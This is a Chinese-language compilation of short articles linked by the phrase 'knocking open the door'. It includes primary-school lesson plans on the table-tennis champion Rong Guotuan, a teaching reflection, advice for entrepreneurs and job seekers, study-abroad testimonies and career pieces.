当换了新工作、调整了部门职能或者晋升后，都不要忘记在简历中添上这崭新的一笔，自己担任的工作职责是什么，取得了什么成绩，这些最最重要的东西是最紧要以简练的语言巨细无疑地反映在简历上的。如果看到了自己中意的公司想发现送简历时，也请先审查一下自己是否合适，通过对方公司的招聘条件将自己最符合的一面浓墨重彩地呈现出来。

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篇11：《敲开世界冠军的大门》优秀教案设计

《敲开世界冠军的大门》优秀教案设计

第一课时

教学目标：

1、按四项要求预习课文，了解课文内容，读通课文。

2、学会本课15个生字，理解38个词语的意思。

3、初步感受容国团为祖国而勇于进取的拼搏精神。

教学重点：预习课文、学会方法

教学难点：学会预习方法

教学过程：

一、揭题激趣

读题质疑。

二、学习自学提示

1、说说预习的方法

2、小结归纳：读学问标答

三、自学课文

根据预习的要求自学课文。

四、自学检查

1、读(1)生字词(2)逐段通读，说说这一段写了什么?

2、学提出不懂词语

3、问有什么不懂的地方?

4、标检查一小组“标”的情况并反馈

5、答初步回答课后问题，不懂的再作记号

五、指导分段

1、尝试分段

2、说说你是怎么分的?(抓住插叙部分把文章分为三段)

六、自由朗读全文

七、课堂作业

作业本1—4题

第二课时

教学目标：

1、能联系课文内容，理解3个反问句的意思。能用“终于”造句。

2、能对课文中强烈表达思想感情的语句，读出语气和感情。

3、感受容国团为祖国而勇于进取的拼搏精神。

教学过程：

一、激趣引入

同学们你们知道哪些世界冠军?你能说说他们的事迹吗?

二、学习第3自然段

1、但是，在旧中国我国的体育运动却是非常的落后，你们知道课文哪一段是描写这段屈辱的历史的吗?指名读第3自然段。

2、简介旧中国3次参加奥运会时的情况。

3、朗读体会。说说如果你当时蒙受这样的屈辱会怎样想?

4、那是谁为我们敲开了世界冠军的大门呢?让我们回到那激动人心的一刻吧。

三、学习第一段

1、指名读。说一说你觉得当时的气氛怎么样?从哪句话可以看出来。

2、读懂重点句。

(1)什么叫“异样”的目光?群众为什么会这样?联系上下文说一说。

(2)“智慧和毅力”什么意思?这是描写容国团外貌的，跟他敲开世界冠军的大门有什么联系?

3、自读第一段，读出紧张、热烈的.气氛。

四、学习第二段

1、此时此刻，受到万众瞩目的容国团心情怎么样?他的心里又是怎么想的呢?

指名读第2自然段。

其他同学划出表现容国团心理活动的句子。

2、有感情地朗读句子。

3、把反问句“难道能让祖国再蒙受屈辱吗?”“人生能有几次搏”改成陈述句。

4、如果你是容国团你在当时会想些什么?

(沉重、悲愤、荣幸、振奋……)

5、练读两个句子。读出激动而振奋的心情。

五、学习第三段

1、那么容国团有没有实现他为国争光的愿望呢?他是怎么做的呢?

2、自读第三段。用波浪线划出描写容国团奋勇拼搏的相应句子。

3、“面对强手”是什么意思?简介西多。把反问句“这一届的冠军，不属于西多还能属于谁”改成陈述句。

4、理解“拉打结合、左右开弓、忽远忽近、变幻莫测”的意思。自已当解说员来解说当时比赛热烈的场面。

5、朗读背诵。

6、经过这样的奋勇拼搏，容国团——

(“终于”获得了世界冠军)

这“终于”说明这胜利——(来之不易)

用“终于”造句。

7、终于胜利了，共和国的国歌第一次在世界赛场上升起，你的心情怎样?齐读最后一个自然段。

有感情地朗读。读出自豪、光荣与激动的语气。

六、解答讨论课后问题。

七、课堂作业

作业本5、6、7

第三课时

教学目标：

1、练习有感情地朗读课文。

2、巩固生字新词。

3、能举例说说继容国团之后我国的哪些世界冠军奋勇拼搏的事迹，激发学生的体育精神。

4、深刻领会“人生能有几次搏”的含义。

教学重点：有感情地朗读课文

教学难点：“说”的训练

教学过程：

一、朗读训练

1、自由朗读全文，读出语气。

(重点语句作重点指导)

2、指名读、评议。

二、复习检查

听写生字词语。

三、说话训练

1、能举例说说继容国团之后我国的哪些世界冠军奋勇拼搏的事迹。(你印像最深的一场体育比赛)

2、指名说、评议。

3、说说这些运动员勇于拼搏的精神对我们有什么启发?

四、质疑问难

五、写一写(选择其一)

1、读了本文后的感想，谈谈对自己的启发。

2、介绍一场精彩的体育比赛。

板书设计：

进入决赛：异样的目光

心情不平静：失利、受辱

敲开世界冠军的大门  奋勇拼搏：拉打结合 左右开弓

忽远忽近变幻莫测

获得冠军：热泪盈眶 呼唤祖国

篇12： 《敲开原子的大门》教学反思

《敲开原子的大门》教学反思

本节课的教学过程中，我感觉有些地方做的比较好，也存在一些不足之处

好的地方：

1.创设质疑氛围，让学生敢于质疑

学生在学习过程中，总有懂得不透或完全不懂的问题，有的可能比较浅显，有的则较为深刻。长期受应试教育的束缚，很多老师有意或无意地压抑了学生好问的天性，致使学生产生各种。因为教师包办太多，有些学生还产生了“我不懂，教师会讲”的依赖心理。由于这些，使得课堂无法形成浓厚的质疑氛围，因此教师要帮助学生克服，以增强其质疑意识。我在新课一开始就鼓励学生通过汤姆生的实验对产已知原子结构有所质疑，无疑对学生产生一个暗示：老师欢迎同学们对权威产生质疑，也间接让学生明白一个道理，思维自疑问和惊奇开始。教学中我还经常鼓励那些积极提问的学生，消除学生的紧张感和顾虑，使那些不爱提问的学生也能勇于提出问题。

2.培养学习兴趣，让学生乐于质疑

本课我引入汤姆生的生平的介绍，让学生在学习的过程中去感受科学家研究的艰苦过程，体会科学的探究过程，也注重于培养学生的学习兴趣，通过汤姆生的研究过程中遇到的种种疑问，种种问题以及处理问题，设计实验的方法，也培养学生善于质疑，乐于质疑，启发其解决问题的思维方法，感受物理研究的方法。

3.自己制作课件，大大提高了我的教学设计与制作能力。我这节课是介绍原子的微观知识，应用现代化的课件教学，让课堂教学形象生动，学生很容易接受。同时，课件教学增大了教学容量，保证了教学当堂训练的需要，减轻了教师课堂教学的负担，提高了课堂效率。

不足之处：

1、教师在教学中附加内容显得多了，让教师在处理过程中时间把握不够好，在处理当堂训练时时间不够，下课就延长了时间。同时，部分没有完成的'内容是利用晚自习完成的。

2.没有采取现场检测的形式处理练习，不能准确知道全班学生上课掌握知识的准确情况。

3.改进措施

一是进一步调动全班学生的学习激情，保证学生在课堂上主动学，自主学。

二是进一步了解学生，在教学设计上要保证大面，培养优生。

三是进一步在课件设计上要提高水平，保证教学效果显著。

总体来我，我认为本节课还是基本达到我的预期效果的，从课堂学生回答的问题以及课后学生的作业来看，知识与技能方面也基本达到要求。

篇13：敲开世界冠军的大门(网友来稿) 教案教学设计

敲开世界冠军的大门

一、教材简析

这篇课文记叙了我国体育史上，第一个获得冠军的运动员容国团夺冠前后的情况。课文集中反映了容国团为国争光的“拼搏精神”，是进行爱国主义教育的好教材。文章感情起伏有变，语句多样，适宜于朗读训练和词句训练。

第一教时

一、教学目标：

1、了解运动员在世界大赛上奋力拼搏是一种爱国行为。

2、从雅典奥运会的辉煌中认识到第一个世界冠军的重要意义。☆

3、读通课文，了解课文的整体编排。

4、按三项要求预习课文，学会生字，分段。☆

二、教学过程

（一）、引入谈话：雅典奥运会的圣火经过了19天的燃烧之后终于熄灭，中国代表团给我们的惊喜是一个接着一个，他们终于创造出了希腊神话，获得了史无前例的32个世界冠军。这是我们国家国力强大的体现，这是我国在世界上地位提高的标志，又如俄罗斯……。可是在半个世界前的旧中国，我们国家积贫积弱，在世界上没有地位。1949年新中国成立之后，国家领导人重视经济了体育的同步提高，著名的贺龙元帅还亲自担任了国家体委主任，经过十年的卧薪尝胆，我国历史性地获得了第一个世界冠军，我们课文记叙的就是第一个世界冠军获得的过程。

（二）范读激趣。提示注意生字及声音的高低起伏。

（三）明确预习方法（见单元提示）：

1、读通课文……

2、解词语……。

3、了解大意……。

（四）按三步预习课文，教师巡回指导，提示要注意效率和字迹端正。

（五）检查预习

1、抽读生字和词语，易错的重点指导。

德、冠、屈、届、锦、额、权、辱、搏、奥、获、眶 重点是：德、奥、盈

2、词语：

方法：查字典、词语手册或其它资料；联系上下文理解。

重点理解：举世瞩目、变幻莫测、蒙受、热泪盈眶

3、自由读课文理解，找出各段的关键词

讨论小议：（1）入场；（2）心情；（3）历史；（4）决赛；（5）领奖。

4、根据节意，讨论分段

指导要点：2、3两节是介绍心情、决心及追忆历史，都是插叙部分，可以单独成段；比赛和领奖是紧密相关的部分可以归并。

（六）质疑问答

（七）总结：1、用自己的话试说课文的主要内容。

2、根据自己的理解感情朗读课文。

（八）作业：1、复习生字词。

2、找找本届奥运会冠军的资料。

板书：德、冠、屈、届、锦、额、权、辱、搏、奥、获、眶 重点是：德、奥、盈

举世瞩目、变幻莫测、蒙受、热泪盈眶

（1） 入场；

（2） 心情；

（3） 历史；

（4） 决赛；

（5） 领奖。

第二教时

一、教学目标：

1、能结合语境理解词语意思。

2、课文中表达强烈思想感情的语句，能读出语气和感情。☆

3、感受容国团为祖国而勇于进取的拼搏精神。

4、根据自己手头掌握的资料介绍一位雅典奥运会的冠军。☆

二、教学过程

（一） 复习引入：1、课文写了一件什么事？

2、课文分段的方法。

3、听写部分词语。

（二）阅读指导：

1、第一段：

（1） 指名朗读并简要指导。

（2） 理解：决赛权、异样。

（3） 写作指导：环境气氛描写、外貌描写（抓关键词）。

2、第二段：

（1）指名读第一句，你觉得第一句有什么作用，关键词是哪个呢？（总起、平静）

（2）引思：不平静也就说思绪起伏，那体现哪些词句呢？（难受、难道、一定）

（3） 指导朗读“他想--冠军”读出反问及坚强决心的语气。

（4） 讨论“是的--多少屈辱”这句的作用。引出回忆，总领全节。

（5） 自由朗读第3节，想想哪些词应读重音。（只有、整个、侮辱、鸭蛋）

屈辱和决心要读出反差，突现了容国团的爱国精神。

（6） 齐读第二大段，小结：容国团心潮澎湃，决心为国争光。

2、第三段：

（1）请你给第四节分层，看谁又快又对，试说理由。（先写对手及困难再写比赛过程。）

（2）自由读第二层，理解词语（变幻莫测）背诵。（信心-打法-结果）

（3）指导（第5节第一句）思考：五星红旗升起来了，其实升起的并不单单是红旗，还有什么呢？（国家的尊严、荣誉） 齐读最后一节。

（1） 小结：容国团通过自己的顽强拼搏，为国争了光，实践了自己的诺言，这是值得我们每一个中国人学习的。

（三）写作

1、课文从那些方面来写一个世界冠军的呢？

（1） 入场；（2）心情；（3）历史；（4）决赛；（5）领奖。

2、你根据手头掌握的资料，从几个方面写出这个冠军的风采。

各人写出自己的特点，从详略上也可取舍。重点可以夺冠的过程，也可以是胜利的欢呼，或艰难的背景。

3、交流、评述、小结。

（四）作业：1、作业本。2、作文。

[敲开世界冠军的大门(网友来稿) 教案教学设计]

篇14：是什么阻碍了创业者敲开投资方的大门？

精锐教育创始人兼总裁张熙说：“对于创业者来说，寻求资本的过程就像男女结婚一样，不一定‘高富帅’就跟‘白富美’是最般配的。”因此，无论是创业房还是投资方，适合自己的才是最好的。但是在世纪的生活中，这样的合适却不容易遇见，投资者的大门还是很难打开，原因何在?

第一条：创业者对有获得投资抱有侥幸心态。他们堵投资人的门、向投资人群发Email，认为只要撞上投资人，就能侥幸得到投资。其实投资的过程远没有这么简单，投资人每天要看很多商业计划书，见很多创业团队，在进行严格的筛选和深入的调查之后，才会做出百里挑一的投资决策。创业者无法凭借“侥幸”而过关斩将。

第二条：创业者认为拍脑袋想出了一个好点子，就可以得到投资。其实点子不值钱，好点子很多，关键比拼的是创业者的执行力。

第三条：太肤浅，缺乏对自身创业领域的深刻理解和深入研究。这样的创业者在与投资人的沟通中，往往几个问题就被问倒了，并不精通自己的创业领域。

第四条：创业者跟风、堆砌当红的商业模式。有的创业者把自己的产品模式描述成多个当红商业模式的组合，以为能打动投资人，其实投资人更关心的是你的产品满足了怎样的需求。

第五条：伪需求。创业者自己拍脑袋想出来的需求，或者是些“以点带面”的需求，比如自己的老婆有这个需求，就放大到认为所有家庭主妇都有这个需求。往往这些需求是伪需求，并没有真正触及到用户的痛点。

第六条：偏执，不面对现实。创业是真正解决用户需求的过程，而非创业者凭借偏激的语言或行为威胁投资人，从而获得投资的过程。

第七条：创业是九死一生的几率，创业者低估了创业的难度和高失败率。

第八条：故作神秘，自以为是。以为自己的点子很好，故作神秘，要投资人先给钱再告知自己的点子;其实，好的投资人会帮创业者保守秘密，而真正的创业者是靠执行而非靠秘密的点子做成事情的。

第九条：不诚信。创业者创业的内容和以前工作的公司十分类似，有盗取代码、盗取知识产权的嫌疑，至少创新工场不会投资。

第十条：创业者与投资人的沟通中，描述不清晰、讲话没有重点。投资人期待创业者能用简洁准确的语言讲清楚自己在做什么、和竞争对手的差别、用户和市场情况，以及团队特色等关键信息。

专家支招

合作双方应讲究权责对称

重庆工商大学校长杨继瑞表示，这实际上是国内创业者与投资人之间利益的博弈。而这一现象的形成，正与国内创业投资领域中极具“东方特色”有着密切关联。比如，在国内，投资创业企业的风险投资人大多来自金融领域，而在美国，多数风险投资人都具有实业企业运营的背景。这一差异使得国内投资人与创业者之间就企业实际经营发生隔阂分歧的可能性大为增加。此外，在国内创业投资过程中，投资人进行投资的模式往往较为单一，大多是现金入股。在国外的创业投资过程中，投资人可能会以可转换债券等更具灵活性的契约工具进行规避。一旦创业者或投资人不能充分履行对企业的责任义务，可能会触发可转换债券这类金融工具的条件设定，而使利益受损的一方获得补偿。

在谈到如何避免这样雷士照明的闹剧发生时，杨继瑞说，一方面通过更完备的制度安排为在契约框架内破解双边道德风险困局提供保障，建立起风险共担的诚信机制;另一方面，在风投和创业者接触初期就应该坦诚和透明，将战略合作计划制定在双方互赢的基础上，讲究权、责的对称性。此外，一些上市创业企业的投资人和创业者也应更加注意约束自身行为，双方要有战略眼光，相互包容，以谈判或法律途径等更为资本市场所认可的方式破解困局，从而最大化尊重普通投资者的权益。

篇15：什么样的简历能敲开企业大门

什么样的简历能敲开企业大门

一份好简历如同一块好的敲门砖，能够帮你敲开顶级跨国公司的大门。那么，什么样的简历才是顶级公司招聘决策人眼中的好简历呢？求职申请人如何才能把自己表达清楚？写好简历要注意哪些方面呢？为此，我们专访了一些在知名跨国公司工作的CPN成员，他们中大部分人在业务部门，也有的在人事部门，但都是这些公司招聘过程的决策者和影响者，为我们提供了非常有价值的观点。我们将其整理成三个部分分享给大家。鉴于隐私保护，隐去公司名称和具体人名。

首先，要明白简历在你整个求职过程中的角色和作用。从公司的角度来讲，一份好的简历应该有以下作用：

*展现出你的能力、特点和兴趣

*突显你的进步和成就

*获得面试机会

所以，一份好的简历应该是能有效地展示你的技能和职业进步，并最终帮你获得面试机会。那么，公司究竟想从简历中看什么，哪些东西合适放进简历中呢？大部分求职者会认为是资历、经验，甚至是成绩，但专家们却一致认为，其实公司主要想看到的是Transferable skills(可转移的能力)。具体来讲，他们最期望看到的不是你完成过什么任务，而是你在之前的机构中所展现出的那些能够转移到你申请的'职位中的能力。

很多求职申请人不明白这个道理，在简历中列举了很多自己做过的事情，详细描述了自己的工作职责，但公司从其中看不出有什么Transferable skills可以用到应聘的职位上。举个简单的例子来讲：及时地为顾客点餐和送菜。

这在公司看来只能算一项任务，大概就是一个餐厅服务员在给客户点菜和端菜，看不出有什么Skill在里面。

但同样是这一个人，如果看到简历里的是(当然，假设所有信息属实)在快节奏的工作环境中，通过区分每桌客人的优先次序，对时间进行了有效的管理，从而使顾客满意度上升了40%。或是通过协调接待员、厨师及服务生的工作，优化员工沟通与团队合作，为顾客提供最佳服务，从而使顾客满意度上升了40%。

这就不一样了，至少公司能看到这个人有Time management skill(时间管理能力),或Teamwork skill(团队合作能力)。

再比如：选择电信供应商，降低了电信成本。

这稍微好一点，但只是看到做了什么事和大概有个什么结果，还是看不出申请人有什么Skill才取得这样的结果。

但如果公司看到的是这样：分析电话使用规律并比较各电信供应商的投标方案，选择最低成本的电信供应商，为公司节省了45%的电信成本。

这样就能看出这个人应该有Analytical skill(分析能力)，正是这种Skill使其取得这样的结果。

篇16：一美元敲开职场机遇的大门

【职场故事分享】一位刚毕业的大学生到一家公司应聘会计，初试时即遭到拒绝，因为她太年轻，公司需要的是有丰富经验的资深会计人员。女大学生没有气馁，她对考官说：“请再给我一次机会，让我参加完笔试。”考官答应了她的请求。结果她的笔试成绩最好，女孩进人了第二关，接受人事经理的面试。

她没有工作经验，更谈不上资格证书。出于礼貌，人事经理说：“今天就到这里，如果有消息我会打电话通知你。”女孩从座位上站起来，向人事经理道谢。并从口袋里掏出一美元，双手呈给他：“不管是否录取，请都给我打个电话。”人事经理从未遇到过这种情况，说：“不给没被录用的人打电话是很正常的事。如果你没有被录用，我打电话，有什么意义呢?你到底想知道些什么?”“请告诉我，在什么地方不能达到你们的要求，我在哪方面不够好，我好改进，因为我还要走进考场。”“那一美元……”不等人事经理说完，女孩微笑着解释：“给没有被录用的人打电话不属于公司的正常开支，所以由我付电话费，请你一定打。”人事经理马上微笑着说：“请你把一美元收回。我不会打电话了，我现在就正式通知你，你被录用了。”女孩以一美元的成本和独特的智慧敲开了机遇的大门。

人事经理解释说，录用女孩的理由有五点：一是女孩有坚毅的品格。二是女孩有过硬的知识。三是女孩坦言自己没有工作经验，这是诚信。四是女孩有直面问题的勇气。五是女孩有公私分明的原则。自掏电话费，既反映了：女孩思维的跳跃，更体现了公私分明的原则，这恰恰是做好财务工作不可或缺的。

篇17：美国认可IELTS成绩雅思敲开北美大门

记者近日从英驻华大使馆文化教育处获悉，在英联邦国家广受认可的雅思考试终于敲开了北美的大门，近700所美国大学认可ielts成绩。这对于要去美国留学的中国学生来说，又多了一条进行语言测试的路子。

据介绍，最近，美国公民与移民局在其官方网站上贴出一份通知，为想取得美国卫生护理工作人员证书的外国人列出了雅思分数要求：获得执照的注册护士，须参加学术类雅思考试并取得6.5分的总分，7.0分以上的口语成绩；获得执照的注册护士以外的卫生护理工作人员不需要有学士学位，但是必须获得雅思学术类或培训类考试6.0分的总分及7.0分的口语成绩。

这则不显眼的消息意味着，一度壁垒森严的美国移民局大门又开始一点点松动了——只要手上拥有一份优秀的ielts成绩单，赴美国就业、移民、留学就增加了一条通道。

目前，雅思已成为世界上发展最快的英语语言能力测试，是炙手可热的“国际通行证”。在澳大利亚、加拿大、英国、新西兰，当地政府将雅思成绩用于移民事务。在美国，目前也有694所大学认可雅思成绩；美国颁发专业技能证书以及艺术、商科、设计、采购、烹饪文凭的私立高等教育机构也承认雅思。美国的主要教育权力机构及院校认可该考试，为美国政府接受雅思提供了可能。

雅思在中国的官方机构人士称，由于该考试在美国认可度增长迅速，部分新宣布认可雅思的学校还没来得及在其网站上进行更新。为此，计划留学美国的考生可以主动向申请就读的目标学校出示雅思成绩，或发邮件询问是否认可该考试，以免错过。

篇18：《敲开世界冠军的大门》第二课时教学设计之一

《敲开世界冠军的大门》第二课时教学设计之一

一、揭题。

二、检查。

1、师说词意思，生写词语。

（1）非常有信心（2）全世界都注目（3）不慌不忙地跟对手比赛。

2、谁能用上上面的三个词语说一句话，概括课文主要内容。

三、学习课文第二自然段。

1、默读第二自然段，在比赛前容国团有怎样的心情？从哪些句子中体会到？

2、容国团难过时的'表情怎样？（低着头）朗读指导

3、你还体会到什么？（悲愤）

4、中国蒙受过哪些屈辱？指名读课文中的句子。

5、朗读指导，“这场比赛，难道能让祖国再蒙受屈辱吗？”

6、这句话的意思是什么？

7、“人生能有几次搏”此时容国团的心情怎样？（振奋）

师：用“振奋”的语气读好这句话。

8、说话练习。

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篇19：申请经验： 我这样敲开海外名校大门

申请经验： 我这样敲开海外名校大门

近日，成都很多学子被海外名校录取，这些即将踏上海外求学路的学生，当初他们是怎样选择国家和学校的？他们又是怎么征服海外大学的？他们在办理留学过程中遭遇过哪些困惑，又是怎样解决的。今日起，本报将继续刊登一些学子留学神情的故事，供有留学意向的学生和家长分享。

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自信说出你的优势

学生档案：刘G，女，19岁，目前已经收到亚利桑那州立大学录取通知书和英国诺丁汉大学预录取通知书。

申请经验谈：

充分展示自己的优点

刘G目前已经顺利拿到两个大学的录取通知书。当时申请大学的时候正是第二学年下学期开学，虽然学习任务重，但个人陈述还是要自己操刀完成。刘G说，个人陈述最重要的就是要写出你对这门科目的热情，还有你自身的各种优势。后者比较困难，因为平时面对的都是“批评教育”，很少考虑过自己的优势。

“在培训剑桥面试的时候，我的外教就让我们想想自己与众不同的三个优势。当时我觉得这个问题很难，勉强想了三个。谁知他却对我说：‘你说的三个都对，但是你的出众的优势却远远不止这三个。’随后，他就说了很多我所具备的优势。现在想来，他当时的一席话，让我充满自信，而这份自信，是做任何事情都最重要的素质。所以我觉得，我在个人陈述里所描绘的那个自学能力强、有领导力、乐观、努力的我，以及我对我所申请的专业的热情，才是打动各个大学的关键。”

选校先看专业排名

“在我办理留学的过程中，最头疼的就是学校的选择了。当初选择学校的时候，因为可以选择的学校实在太多，选起来很困难。我经验是，先看专业排名，再考虑综合排名，另外学费也是很关键的，一定要考虑家里的资金状况来选择。选择了昂贵的学校，就要做好打工的心理准备。照理说十八岁以后就该自己养自己了，所以不要一味的觉得可以依赖父母。选专业一定要选自己感兴趣的，不然学起来一定会很难熬。要多问问其他人的意见，比如说老师啊同学啊家长啊，有时候你的家长和老师会比你还了解你，所以他们的话有时候是很有参考价值的。”

新加坡

机会是带着条件青睐我的

学生档案：文雯，7月毕业于成都石室中学，高考成绩630分，209月进入西南交通大学就读，今年6月，考入新加坡管理大学会计金融专业。

申请经验谈：

选定适合自己的留学目标

文雯去年高考虽然考了比较高的分数，但距离她梦想中的名校还有些距离，所以当时就萌发了出国留学的念头。她到雅高出国公司咨询后，最终和家人一起选择把新加坡管理大学作为留学目的学校，这个学校是全亚洲排名前20名的著名学府，并且还有奖学金提供。

新加坡管理大学的入学要求非常严格，要求报名者的高考成绩必须在重点本科线以上，并需要参加全英文的入学考试，择优录取。文雯在出国顾问的`帮助下，提交了新加坡管理大学所要求的资料，如学历证明、高考成绩、历年获奖证书等材料，充分说明她是一名优秀的德智体全面发展的高中毕业生。经学校严格的资格审核后，文雯参加了入学测试。虽然是第一次用英文测试数学和英语，并且文雯报名时距离考试时间已经比较很近，基本没有熟悉题型和复习的时间，但不服输的劲头，让文雯出色地完成考试。

自我挑战终于实现梦想

“由于管理大学的分数结果出来得比较晚，会在国内录取以后才揭晓。所以在揭晓之前我收到了西南交通大学矛以升班的本科录取通知书，当时我非常矛盾。一方面我很想去新加坡深造，但另一方面又怕万一自己没有通过管理大学的入学测试，又放弃了交通大学的机会，岂不是令两边的升学计划受阻？为了不耽误我的学习，留学顾问建议我，先进入西南交通大学就读本科，再等待新加坡管理大学的录取。10月，我终于获得了新加坡管理大学的录取通知！但要求我赴新加坡管理大学就读半年预科课程。这就意味着如果在半年以后我不能通过大学升学测试的话，我就必须回国；当然如果我通过了，就可以获得管理大学65%的奖学金！

机会是带着条件青睐我的。但我对自己说：一定要达成梦想，必须再一次挑战自己。今年1月我离开了西南交通大学，在新加坡管理大学开始预科学习。

学习肯定是艰苦的，开始不太适应，但管理大学的学习气氛非常浓郁，在和别人交流时可以学到很多东西是书本上没有的。同学的结构也非常国际化，很多国家的优秀同学一起上课，更让我觉得天外有天。

今年6月，我就以优异的成绩进入新加坡管理大学一年级会计金融专业，并获得了管理大学提供的65%的政府奖学金。我从此明白了人的动力都是压力给的，这个经历真的让我终生难忘！”

澳大利亚

理性选择 避开签证难关

学生档案：陈静，毕业于树德中学国际部，并同时被加拿大约克大学、戴尔豪斯大学和澳大利亚皇家墨尔本理工大学同时录取，目前已经前往皇家墨尔本理工大学就读。

申请经验谈：

留学之前先了解风土人情

“我感受最深的就是麻烦。” 回想办理留学签证的过程，陈静如此感慨，因为对留学办签证的不了解，会常常听到很多陌生的词语，稍微不留神就会延误开学时间。很多想要出国留学的学生都想自己申请学校，办签证。但陈静认为，找个合法正规的中介公司来办理留学的一切还是个不错的选择,可以妥善地办理好学生和学校衔接工作，对于留学生来说是至关重要的。

“此外，我主要是在网站上了解留学方面的信息，还有就是我会经常到书店里看一些什么出国旅游的书籍，因为在这些看似轻松愉快的书籍中我可以了解到国外很多国家的一些简单的情况，比如说气候啊，风土人情啊。很有意思的。”

直接和校方联系最方便

“其实我一直都很想去的国家是加拿大，但后来在申请签证的时候，才了解到加拿大在签证方面要求很高，也就是说针对留学生签证的门槛很高，于是我最终选择了澳大利亚，澳大利亚的大部分大学都是3年制的，比起加拿大来我就可以省下一年的时间。后来，我选择了澳大利亚皇家墨尔本理工大学，因为我很看重这所学校注重理论与实践相结合的教学精神。”

“我在学校的网页上找到学校有关部门负责人的联系方式，并给其Admission Office发邮件询问一些具体的入学要求和对其学校的一些疑问。写申请书方面，并不是申请国外的大学都会写申请书，我申请加拿大 York University的时候，学校就要求我写一篇论文来回答他们提出的问题，但RMIT并没有这样的要求。”

篇20：什么样的求职简历能敲开企业大门?

什么样的求职简历能敲开企业大门?

一份好求职简历如同一块好的敲门砖，能够帮你敲开顶级跨国公司的大门

。那么，什么样的求职简历才是顶级公司招聘决策人眼中的好简历呢？求职申请人如何才能把自己表达清楚？写好个人简历要注意哪些方面呢？为此，我们专访了一些在知名跨国公司工作的CPN成员，他们中大部分人在业务部门，也有的在人事部门，但都是这些公司招聘过程的决策者和影响者，为我们提供了非常有价值的观点。我们将其整理成三个部分分享给大家。鉴于隐私保护，隐去公司名称和具体人名。

首先，要明白简历在你整个求职过程中的角色和作用。从公司的角度来讲，一份好的简历应该有以下作用：

*展现出你的能力、特点和兴趣

*突显你的进步和成就

*获得面试机会

所以，一份好的简历应该是能有效地展示你的技能和职业进步，并最终帮你获得面试机会。那么，公司究竟想从简历中看什么，哪些东西合适放进简历中呢？大部分求职者会认为是资历、经验，甚至是成绩，但专家们却一致认为，其实公司主要想看到的是Transferable skills（可转移的能力）。具体来讲，他们最期望看到的不是你完成过什么任务，而是你在之前的机构中所展现出的那些能够转移到你申请的职位中的能力。

很多求职申请人不明白这个道理，在简历中列举了很多自己做过的事情，详细描述了自己的工作职责，但公司从其中看不出有什么Transferable skills可以用到应聘的职位上。 举个简单的例子来讲：及时地为顾客点餐和送菜。

这在公司看来只能算一项任务，大概就是一个餐厅服务员在给客户点菜和端菜，看不出有什么Skill在里面。

但同样是这一个人，如果看到简历里的是（当然，假设所有信息属实）在快节奏的工作环境中，通过区分每桌客人的优先次序，对时间进行了有效的管理，从而使顾客满意度上升了40%。或是通过协调接待员、厨师及服务生的工作，优化员工沟通与团队合作，为顾客提供最佳服务，从而使顾客满意度上升了40%。

这就不一样了，至少公司能看到这个人有Time management skill（时间管理能力）, 或Teamwork skill（团队合作能力）。

再比如：选择电信供应商，降低了电信成本。

这稍微好一点，但只是看到做了什么事和大概有个什么结果，还是看不出申请人有什么Skill才取得这样的结果。

但如果公司看到的是这样：分析电话使用规律并比较各电信供应商的投标方案，选择最低成本的电信供应商，为公司节省了45%的电信成本。

这样就能看出这个人应该有Analytical skill（分析能力），正是这种Skill使其取得这样的结果。

所以，对于公司来讲，说穿了是买你的Transferable skills。如果没有能够转移到新工作上的Skill，尽管你有或的工作经验，对公司还是没用。你的资历、成就、进步都是在为这些Skill提供证据。而之所以还要进行面试，也是要对这些Skill进行评估，因为简历只是对你的Skill做了一个简介和预告，公司还要通过面试深入核实和评估。但是，如果你的`简历不能让公司对你所具备的Skill有一个清晰的概念，那么，公司也不会邀请你面试的

当然，除了Skill以外，你的个人一些特点：比如语言能力、兴趣爱好、非工作成就等，也是公司要看的，但不会作为主要因素考虑。所以，关键还是你的简历是否有效地把你的Skill描述出来。

一位CPN成员分享了一个简易的方法来判断，即指着你简历的每一个要点（Bullet point), 看看你能说出它体现了你的什么Skill，如果你不能清楚地说出来，那么，要么你用的例子不恰当，要么你没有表达清楚。

同时，这些公司的招聘决策人也强调一点，就是简历是展示一个人的工具，但不能改变一个人。所以，如果你没有这样的Skill，通过虚构或夸大事实的方式体现出来，那么，简历上的你和现实中的你将会有较大差距。这样，即使你侥幸得到面试机会，在阅人无数的面试官面前也很容易就会露馅的。对公司来讲，Integrity（诚信）非常重要。

那么，公司是通过哪些东西来识别和判断这些能力，对于一个确实有很多Skill的求职申请人，应该如何有效地把自己的Skill表达出来呢？我们的CPN Insiders将分享一些行之有效的方法。

篇21：张艺谋用自荐信敲开北影大门的故事

1977年底，全国高考的恢复激发了张艺谋改善生活状况和“鲤鱼跳龙门”的美好想象，他当时报考北京电影学院，并非由于怀有为中国电影事业奋斗终生的理想，而仅仅是为了获取改变身份的大学文凭，以便在毕业后能靠这份难得的学历争取如愿当上一位专业的摄影师，他的最终梦想就是能自己开一间照相馆。

1978年骄阳似火的夏天，28岁超龄6岁的张艺谋以其农民般的坚忍和执拗投入了实现目标的行动之中。张艺谋在考学的经历中体现了锲而不舍、足智多谋、有备无患和心思缜密的“深谋远虑”，在多方努力之下，他终于如愿以偿。其中最重要的`是，他将一封情真意切的自荐信成功地交到了时任文化部部长黄镇的手上，而黄镇的特别指示起到了决定性作用。一份北影厂的公函送抵国棉八厂——“……根据上级指示，决定接受你厂工人张艺谋到我院摄影系学习，请携带有关证明、户口和粮油关系来我院办理入学手续……”

（摘编自新浪网7月10日）

点击运用

这份并非正规录取通知书的调令，改变了张艺谋的人生，也影响了中国电影的进程！张艺谋从此一展其绝世惊艳的摄影才华，石破天惊。适用话题：自信，成功，梦想，抓住时机，伯乐识马等。

篇22：USCPA就业如何成功敲开世界500强的大门

不是所有财务专业学生一毕业就能获得四大或者知名外企的offer.很多多一毕业可能就进入一家中小型企业做出纳或者会计。而工作两三年以后，这些财务人积累了一定的工作经验，希望跳槽到更好的平台继续发展。而其中世界500强企业是很多财务人所心向往之的。那么世界500强外企的财务人薪资如何，职业发展前景如何?而一般财务人又如何才能成功敲开世界500强的大门呢?

【500强企业财务薪资揭秘】

一般来说，能够进入《世界500强企业》榜单的公司实力都较为雄厚，业务经营相对完善，因此财务人员的的收入也颇为可观。

据相关调查数据显示，500强企业的一般财务人员平均薪资能达到年薪10万到25万不等。

当然如果你在外企工作了几年，成功晋升为财务经理，甚至财务总监，那么你的薪资水平可直接翻上几番。从下面这些生动的例子中我们便可以看出。近日，Glassdoor整理了微软15大人们薪资职位，其中财务总监的年薪高达28.5万美元，折合人民币也就是180万。

